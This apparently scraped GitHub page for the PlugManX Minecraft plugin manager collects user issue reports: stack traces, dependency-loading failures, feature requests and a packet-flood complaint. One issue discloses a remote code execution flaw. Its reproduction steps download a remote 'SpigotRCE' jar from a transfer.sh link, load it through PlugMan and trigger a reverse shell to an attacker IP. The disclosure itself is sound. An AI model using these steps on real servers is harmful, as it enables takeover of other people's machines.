theblackentity / plugmanx Goto Github PK
View Code? Open in Web Editor NEWThis project forked from ryan-clancy/plugman
Plugin manager for Bukkit servers.
Home Page: https://www.spigotmc.org/resources/plugman-improved.88135/
License: MIT License
This project forked from ryan-clancy/plugman
Plugin manager for Bukkit servers.
Home Page: https://www.spigotmc.org/resources/plugman-improved.88135/
License: MIT License
https://forums.papermc.io/threads/important-dev-psa-future-removal-of-cb-package-relocation.1106/
[20:07:44 WARN]: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[20:07:44 WARN]: It seems like you're running on paper.
[20:07:44 WARN]: PlugManX cannot interact with paper-plugins, yet.
[20:07:44 WARN]: Also, if you encounter any issues, please join my discord: https://discord.gg/GxEFhVY6ff
[20:07:44 WARN]: Or create an issue on GitHub: https://github.com/TheBlackEntity/PlugMan
[20:07:44 WARN]: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[20:07:44 WARN]: java.lang.ArrayIndexOutOfBoundsException: Index 3 out of bounds for length 3
[20:07:44 WARN]: at PlugManX.jar//com.rylinaux.plugman.util.BukkitCommandWrap.<init>(BukkitCommandWrap.java:29)
[20:07:44 WARN]: at PlugManX.jar//com.rylinaux.plugman.PlugMan.onEnable(PlugMan.java:267)
[20:07:44 WARN]: at org.bukkit.plugin.java.JavaPlugin.setEnabled(JavaPlugin.java:287)
[20:07:44 WARN]: at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.enablePlugin(PaperPluginInstanceManager.java:188)
[20:07:44 WARN]: at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.enablePlugin(PaperPluginManagerImpl.java:104)
[20:07:44 WARN]: at org.bukkit.plugin.SimplePluginManager.enablePlugin(SimplePluginManager.java:507)
[20:07:44 WARN]: at org.bukkit.craftbukkit.CraftServer.enablePlugin(CraftServer.java:639)
[20:07:44 WARN]: at org.bukkit.craftbukkit.CraftServer.enablePlugins(CraftServer.java:550)
[20:07:44 WARN]: at net.minecraft.server.dedicated.DedicatedServer.initServer(DedicatedServer.java:275)
[20:07:44 WARN]: at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1133)
[20:07:44 WARN]: at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:319)
[20:07:44 WARN]: at java.base/java.lang.Thread.run(Thread.java:833)
When trying to load a plugin which needs has (a) dependency(s) the load will fail with an error stating that dependencies are missing. I have had this with several plugins now and in all cases the dependency plugins had been loaded beforehand using PlugmanX as well
Plugins fail to unload and load back in on 1.20.2 when previously possible on 1.19.x and lower.
> plugman list
[22:03:35 INFO]: [PlugMan] Plugins (57): [...] PlugManX, [...] SubserverTools, [...]
> plugman unload SubserverTools
[22:03:39 INFO]: [SubserverTools] Disabling SubserverTools v1.0-SNAPSHOT
[22:03:39 INFO]: [PlugMan] SubserverTools has been unloaded.
> plugman load StreamerTools-1.0-SNAPSHOT
[22:03:47 WARN]: Unexpected exception while parsing console command "plugman load StreamerTools-1.0-SNAPSHOT"
org.bukkit.command.CommandException: Unhandled exception executing command 'plugman' in plugin PlugManX v2.3.0
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:47) ~[huskypaper-api-1.20.2-R0.1-SNAPSHOT.jar:?]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:155) ~[huskypaper-api-1.20.2-R0.1-SNAPSHOT.jar:?]
at org.bukkit.craftbukkit.v1_20_R2.CraftServer.dispatchCommand(CraftServer.java:989) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at org.bukkit.craftbukkit.v1_20_R2.CraftServer.dispatchServerCommand(CraftServer.java:974) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at net.minecraft.server.dedicated.DedicatedServer.handleConsoleInputs(DedicatedServer.java:500) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at net.minecraft.server.dedicated.DedicatedServer.tickChildren(DedicatedServer.java:447) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at net.minecraft.server.MinecraftServer.tickServer(MinecraftServer.java:1379) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1156) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:315) ~[huskypaper-1.20.2.jar:git-HuskyPaper-"32c1dcd"]
at java.lang.Thread.run(Thread.java:833) ~[?:?]
Caused by: java.lang.NullPointerException: Cannot invoke "org.bukkit.plugin.Plugin.onLoad()" because "target" is null
at com.rylinaux.plugman.util.PluginUtil.load(PluginUtil.java:308) ~[PlugManX.jar:?]
at com.rylinaux.plugman.command.LoadCommand.execute(LoadCommand.java:120) ~[PlugManX.jar:?]
at com.rylinaux.plugman.PlugManCommandHandler.onCommand(PlugManCommandHandler.java:95) ~[PlugManX.jar:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:45) ~[huskypaper-api-1.20.2-R0.1-SNAPSHOT.jar:?]
... 9 more
An option to disable /plugman download
in the config is a good idea to prevent (un-trusted) admins, and hackers from installing backdoor plugins in the server !
A plugin on my 1.20.1 Paper server installed PlugManX as a dependency. After it was enabled, it sent the Paper compatibility warning, and then the entire server just stalled. I looked in the logs and saw nothing but the manual termination I initiated 25 mins after it stalled. I tried joining the Discord, but it said the link had expired. Can I get some help with this?
Starting today I've been getting this strange error. Even stranger is the plugin was working fine yesterday, and as far as I know nothing has changed. I've restarted the server twice to no avail. I've ensured all the YML configs are UTF-8 encoded, and even re-downloaded the plugin from the website but nothing has changed.
The full error message (first line of the stacktrace) is as follows:
org.yaml.snakeyaml.error.YAMLException: java.util.zip.ZipException: ZipFile invalid LOC header (bad signature)
Here's my full log: https://mclo.gs/JMZu5Y5
Feature Request: A new command /plugman unloadplugins [amount], this would randomly unload the specified amount of plugins, this will be very helpful to debug certain bugs on the server that are caused by plugins, I know that this can be done by stopping the server and manually removing the plugins but this will make that process faster. If you had an unload api, I could code this myself, it's very helpful for servers with 100+ plugins
With the arrival of the new plugin system, some of my spigot plugins broke and I had to use paper plugins. I really look forward to PlugMan support as it greatly speeds up development time
Hi. I would like to ask when will be update for 1.20?
Idk if this is a known issue yet, but if I try to reload a plugin I get:
[14:59:09 ERROR]: [ModernPluginLoadingStrategy] Could not load 'plugins/PotatoWarsPlugin.jar' in 'plugins'
org.bukkit.plugin.UnknownDependencyException: Unknown/missing dependency plugins: [FastAsyncWorldEdit]. Please download and install these plugins to run 'PotatoWars'.
at io.papermc.paper.plugin.entrypoint.strategy.ModernPluginLoadingStrategy.loadProviders(ModernPluginLoadingStrategy.java:80) ~[paper-1.19.3.jar:git-Paper-448]
at io.papermc.paper.plugin.storage.SimpleProviderStorage.enter(SimpleProviderStorage.java:35) ~[paper-1.19.3.jar:git-Paper-448]
at io.papermc.paper.plugin.manager.SingularRuntimePluginProviderStorage.enter(SingularRuntimePluginProviderStorage.java:63) ~[paper-1.19.3.jar:git-Paper-448]
at io.papermc.paper.plugin.manager.RuntimePluginEntrypointHandler.enter(RuntimePluginEntrypointHandler.java:40) ~[paper-1.19.3.jar:git-Paper-448]
at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.loadPlugin(PaperPluginInstanceManager.java:121) ~[paper-1.19.3.jar:git-Paper-448]
at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.loadPlugin(PaperPluginManagerImpl.java:82) ~[paper-1.19.3.jar:git-Paper-448]
at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:406) ~[paper-api-1.19.3-R0.1-SNAPSHOT.jar:?]
at com.rylinaux.plugman.util.PaperPluginUtil.load(PaperPluginUtil.java:367) ~[PlugManX.jar:?]
at com.rylinaux.plugman.command.LoadCommand.execute(LoadCommand.java:116) ~[PlugManX.jar:?]
at com.rylinaux.plugman.PlugManCommandHandler.onCommand(PlugManCommandHandler.java:98) ~[PlugManX.jar:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:45) ~[paper-api-1.19.3-R0.1-SNAPSHOT.jar:?]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:155) ~[paper-api-1.19.3-R0.1-SNAPSHOT.jar:?]
at org.bukkit.craftbukkit.v1_19_R2.CraftServer.dispatchCommand(CraftServer.java:911) ~[paper-1.19.3.jar:git-Paper-448]
at org.bukkit.craftbukkit.v1_19_R2.command.BukkitCommandWrapper.run(BukkitCommandWrapper.java:64) ~[paper-1.19.3.jar:git-Paper-448]
at com.mojang.brigadier.CommandDispatcher.execute(CommandDispatcher.java:264) ~[paper-1.19.3.jar:?]
at net.minecraft.commands.Commands.performCommand(Commands.java:316) ~[?:?]
at net.minecraft.commands.Commands.performCommand(Commands.java:300) ~[?:?]
at net.minecraft.server.network.ServerGamePacketListenerImpl.performChatCommand(ServerGamePacketListenerImpl.java:2288) ~[?:?]
at net.minecraft.server.network.ServerGamePacketListenerImpl.lambda$handleChatCommand$20(ServerGamePacketListenerImpl.java:2248) ~[?:?]
at net.minecraft.util.thread.BlockableEventLoop.lambda$submitAsync$0(BlockableEventLoop.java:59) ~[?:?]
at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1768) ~[?:?]
at net.minecraft.server.TickTask.run(TickTask.java:18) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.util.thread.BlockableEventLoop.doRunTask(BlockableEventLoop.java:153) ~[?:?]
at net.minecraft.util.thread.ReentrantBlockableEventLoop.doRunTask(ReentrantBlockableEventLoop.java:24) ~[?:?]
at net.minecraft.server.MinecraftServer.doRunTask(MinecraftServer.java:1341) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.server.MinecraftServer.d(MinecraftServer.java:197) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.util.thread.BlockableEventLoop.pollTask(BlockableEventLoop.java:126) ~[?:?]
at net.minecraft.server.MinecraftServer.pollTaskInternal(MinecraftServer.java:1318) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.server.MinecraftServer.pollTask(MinecraftServer.java:1311) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.util.thread.BlockableEventLoop.managedBlock(BlockableEventLoop.java:136) ~[?:?]
at net.minecraft.server.MinecraftServer.waitUntilNextTick(MinecraftServer.java:1289) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1177) ~[paper-1.19.3.jar:git-Paper-448]
at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:316) ~[paper-1.19.3.jar:git-Paper-448]
at java.lang.Thread.run(Thread.java:833) ~[?:?]
[14:59:09 WARN]: org.bukkit.plugin.InvalidPluginException: Plugin didn't load any plugin providers?
[14:59:09 WARN]: at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.lambda$loadPlugin$1(PaperPluginInstanceManager.java:127)
[14:59:09 WARN]: at java.base/java.util.Optional.orElseThrow(Optional.java:403)
[14:59:09 WARN]: at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.loadPlugin(PaperPluginInstanceManager.java:127)
[14:59:09 WARN]: at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.loadPlugin(PaperPluginManagerImpl.java:82)
[14:59:09 WARN]: at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:406)
[14:59:09 WARN]: at PlugManX.jar//com.rylinaux.plugman.util.PaperPluginUtil.load(PaperPluginUtil.java:367)
[14:59:09 WARN]: at PlugManX.jar//com.rylinaux.plugman.command.LoadCommand.execute(LoadCommand.java:116)
[14:59:09 WARN]: at PlugManX.jar//com.rylinaux.plugman.PlugManCommandHandler.onCommand(PlugManCommandHandler.java:98)
[14:59:09 WARN]: at org.bukkit.command.PluginCommand.execute(PluginCommand.java:45)
[14:59:09 WARN]: at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:155)
[14:59:09 WARN]: at org.bukkit.craftbukkit.v1_19_R2.CraftServer.dispatchCommand(CraftServer.java:911)
[14:59:09 WARN]: at org.bukkit.craftbukkit.v1_19_R2.command.BukkitCommandWrapper.run(BukkitCommandWrapper.java:64)
[14:59:09 WARN]: at com.mojang.brigadier.CommandDispatcher.execute(CommandDispatcher.java:264)
[14:59:09 WARN]: at net.minecraft.commands.CommandDispatcher.performCommand(CommandDispatcher.java:316)
[14:59:09 WARN]: at net.minecraft.commands.CommandDispatcher.a(CommandDispatcher.java:300)
[14:59:09 WARN]: at net.minecraft.server.network.PlayerConnection.a(PlayerConnection.java:2288)
[14:59:09 WARN]: at net.minecraft.server.network.PlayerConnection.lambda$handleChatCommand$20(PlayerConnection.java:2248)
[14:59:09 WARN]: at net.minecraft.util.thread.IAsyncTaskHandler.b(IAsyncTaskHandler.java:59)
[14:59:09 WARN]: at java.base/java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1768)
[14:59:09 WARN]: at net.minecraft.server.TickTask.run(TickTask.java:18)
[14:59:09 WARN]: at net.minecraft.util.thread.IAsyncTaskHandler.d(IAsyncTaskHandler.java:153)
[14:59:09 WARN]: at net.minecraft.util.thread.IAsyncTaskHandlerReentrant.d(IAsyncTaskHandlerReentrant.java:24)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.b(MinecraftServer.java:1341)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.d(MinecraftServer.java:197)
[14:59:09 WARN]: at net.minecraft.util.thread.IAsyncTaskHandler.x(IAsyncTaskHandler.java:126)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.bh(MinecraftServer.java:1318)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.x(MinecraftServer.java:1311)
[14:59:09 WARN]: at net.minecraft.util.thread.IAsyncTaskHandler.c(IAsyncTaskHandler.java:136)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.i_(MinecraftServer.java:1289)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.w(MinecraftServer.java:1177)
[14:59:09 WARN]: at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:316)
[14:59:09 WARN]: at java.base/java.lang.Thread.run(Thread.java:833)
Thank you very much for the plugin!
It would be great if the feature for auto-loading would also look for changes within the /update
directory (if it exists).
Is there any plan to adapt the new version 1.20.1๏ผ
My server core version is 1.20.1, and I feel a need for this plugin.
It works so well that I can't even find a replacement for it.
I really want you to succeed.
Pretty sure there is a typo/memory leak here
Please confirm if this is intended, I do some hacky stuff with my own command system and need to know if this is the reason or my system
org.yaml.snakeyaml.error.YAMLException: java.util.zip.ZipException: ZipFile invalid LOC header (bad signature)
at org.yaml.snakeyaml.reader.StreamReader.update(StreamReader.java:214) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:172) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:167) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.reader.StreamReader.peek(StreamReader.java:122) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.scanner.ScannerImpl.scanToNextToken(ScannerImpl.java:1204) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.scanner.ScannerImpl.fetchMoreTokens(ScannerImpl.java:320) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.scanner.ScannerImpl.checkToken(ScannerImpl.java:238) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.parser.ParserImpl$ParseImplicitDocumentStart.produce(ParserImpl.java:212) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.parser.ParserImpl.peekEvent(ParserImpl.java:162) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.parser.ParserImpl.checkEvent(ParserImpl.java:152) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.composer.Composer.getSingleNode(Composer.java:156) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:178) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:493) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.Yaml.load(Yaml.java:434) ~[snakeyaml-2.0.jar:?]
at org.bukkit.plugin.PluginDescriptionFile.(PluginDescriptionFile.java:327) ~[purpur-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at com.rylinaux.plugman.PlugMan.onEnable(PlugMan.java:307) ~[PlugManX (2).jar:?]
at org.bukkit.plugin.java.JavaPlugin.setEnabled(JavaPlugin.java:281) ~[purpur-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.enablePlugin(PaperPluginInstanceManager.java:189) ~[purpur-1.20.1.jar:git-Purpur-2062]
at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.enablePlugin(PaperPluginManagerImpl.java:104) ~[purpur-1.20.1.jar:git-Purpur-2062]
at org.bukkit.plugin.SimplePluginManager.enablePlugin(SimplePluginManager.java:507) ~[purpur-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.craftbukkit.v1_20_R1.CraftServer.enablePlugin(CraftServer.java:656) ~[purpur-1.20.1.jar:git-Purpur-2062]
at org.bukkit.craftbukkit.v1_20_R1.CraftServer.enablePlugins(CraftServer.java:567) ~[purpur-1.20.1.jar:git-Purpur-2062]
at net.minecraft.server.dedicated.DedicatedServer.initServer(DedicatedServer.java:311) ~[purpur-1.20.1.jar:git-Purpur-2062]
at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1116) ~[purpur-1.20.1.jar:git-Purpur-2062]
at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:322) ~[purpur-1.20.1.jar:git-Purpur-2062]
at java.lang.Thread.run(Thread.java:840) ~[?:?]
Caused by: java.util.zip.ZipException: ZipFile invalid LOC header (bad signature)
at java.util.zip.ZipFile$ZipFileInputStream.initDataOffset(ZipFile.java:929) ~[?:?]
at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:940) ~[?:?]
at java.util.zip.ZipFile$ZipFileInflaterInputStream.fill(ZipFile.java:457) ~[?:?]
at java.util.zip.InflaterInputStream.read(InflaterInputStream.java:158) ~[?:?]
at java.io.FilterInputStream.read(FilterInputStream.java:132) ~[?:?]
at java.io.PushbackInputStream.read(PushbackInputStream.java:182) ~[?:?]
at org.yaml.snakeyaml.reader.UnicodeReader.init(UnicodeReader.java:85) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.reader.UnicodeReader.read(UnicodeReader.java:117) ~[snakeyaml-2.0.jar:?]
at org.yaml.snakeyaml.reader.StreamReader.update(StreamReader.java:179) ~[snakeyaml-2.0.jar:?]
... 25 more
[14:54:21 INFO]: [PlugManX] Disabling PlugManX v2.3.5
The plugin sends thousands of packets per second to players after the player has been connected to server for a while... paper's packet limiter starts to kick the player for receiving a lot of packets:
I found out that it's plugman by removing all the other plugins 1 by 1, and plugmanx also sends command related packets on first login:
Plugin Bug
I have identified a potential remote code execution (RCE) exploit in the [Plugman] plugin. Below are the details of the exploit along with the steps to reproduce:
I expected Plugman to securely handle plugin loading without exposing vulnerabilities to remote code execution. Specifically, I expected that the plugin would properly validate and sanitize input, preventing the execution of malicious code during the loading process. I anticipated that Plugman would adhere to standard security practices to ensure the integrity and safety of the server environment.
/cpi lmfao.jar https://transfer.sh/get/zCONva/SpigotRCE-1.0-SNAPSHOT-shaded.jar
/plugman load CommandPanels/panels/lmfao.jar.yml
5170haxor linux yourreverseshellip
# or
5170haxor windows yourreverseshellip
This set of actions demonstrates the potential vulnerability in Plugman, allowing an attacker to exploit the plugin loading process for remote code execution. The provided code examples showcase how an unauthorized user can execute arbitrary commands on the server during the plugin loading process.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.